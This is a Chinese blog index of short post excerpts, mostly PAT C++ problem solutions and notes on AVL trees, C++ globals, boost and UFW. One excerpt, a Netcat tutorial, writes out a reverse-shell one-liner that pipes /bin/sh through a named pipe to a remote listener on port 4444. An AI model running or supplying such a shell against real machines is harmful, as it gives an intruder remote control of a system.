原创 PAT甲級真題 1080 Graduate Admission (30分) C++實現(報志願問題)

題目 It is said that in 2013, there were about 100 graduate schools ready to proceed over 40,000 applications in Zhej

原创 PAT甲級真題 1074 Reversing Linked List (25分) C++實現(模擬反轉鏈表)

題目 Given a constant K and a singly linked list L, you are supposed to reverse the links of every K elements on L. F

原创 PAT甲級真題 1075 PAT Judge (25分) C++實現(map+vector統計篩選排序,注意坑點)

題目 The ranklist of PAT is generated from the status list, which shows the scores of the submissions. This time you

原创 PAT甲級真題 1070 Mooncake (25分) C++實現(同乙級1020,簡單貪心法)

題目 Mooncake is a Chinese bakery product traditionally eaten during the Mid-Autumn Festival. Many types of fillings

原创 徹底搞懂平衡二叉樹(AVL)建樹過程(左旋、右旋)

AVL樹是最先發明的自平衡二叉查找樹,得名於它的發明者G.M. Adelson-Velsky和E.M. Landis。 在AVL樹中任何節點的兩個子樹的高度最大差別爲一,所以它也被稱爲高度平衡樹。 查找、插入和刪除在平均和最壞情況

原创 PAT甲級真題 1069 The Black Hole of Numbers (20分) C++實現(同乙級1019)

題目 For any 4-digit integer except the ones with all the digits being the same, if we sort the digits in non-increas

原创 PAT甲級真題 1083 List Grades (25分) C++實現(簡單數組排序)

題目 Given a list of N student records with name, ID and grade. You are supposed to sort the records with respect to

原创 PAT甲級真題 1071 Speech Patterns (25分) C++實現(cctype判斷字符屬性、stringstream分割字符串、map計數)

題目 People often have a preference among synonyms of the same word. For example, some may prefer “the police”, while

原创 C++ extern定義多文件共享全局變量

思路 參考知乎提問“在C++中如何使用全局變量?”下面楊個毛的回答: 我覺得題主需要的回答是“把變量定義在函數外面”,比如這樣: #include <iostream> #include <string> std::stri

原创 Mac Xcode配置boost庫編寫C++程序

安裝boost 這裏先確保boost庫安裝成功,能正常使用。 Mac下安裝boost庫有兩種方式,編譯源碼和homebrew。 不知什麼原因,手動編譯源碼失敗: ...failed darwin.compile.c++ ...f

原创 PAT甲級真題 1084 Broken Keyboard (20分) C++實現(簡單遍歷搜索)

題目 On a broken keyboard, some of the keys are worn out. So when you type some sentences, the characters correspondi

原创 PAT甲級真題 1085 Perfect Sequence (25分) C++實現(排序、雙指針,注意測試點5坑)

題目 Given a sequence of positive integers and another positive integer p. The sequence is said to be a perfect seque

原创 Ubuntu 16.04配置UFW防火牆

配置默認策略 sudo vim /etc/default/ufw 有如下默認規則: IPV6=yes 這個開啓時,寫一條規則將自動變成兩條:IPv4的和IPv6的;如果用不上的話可以將其改爲no。 配置進入規則 默認情況下開啓

原创 Netcat TCP/UDP 反彈連接shell (不用-e選項)

主機1監聽端口,主機2發起連接。 TCP shell 主機1: nc -nvlp 4444 主機2: /bin/sh 0</tmp/backpipe | nc 主機1的IP 4444 1>/tmp/backpipe UDP s

原创 網絡流算法學習筆記——Dinic有效算法

屈婉玲《算法設計與分析》第2版第7章網絡流算法學習筆記。 概述 Dinic有效算法同樣用來求最大流,相當於FF算法的改進。 FF算法參考:網絡流算法學習筆記——最大流問題基本概念和Ford-Fulkerson方法(標號法C++實現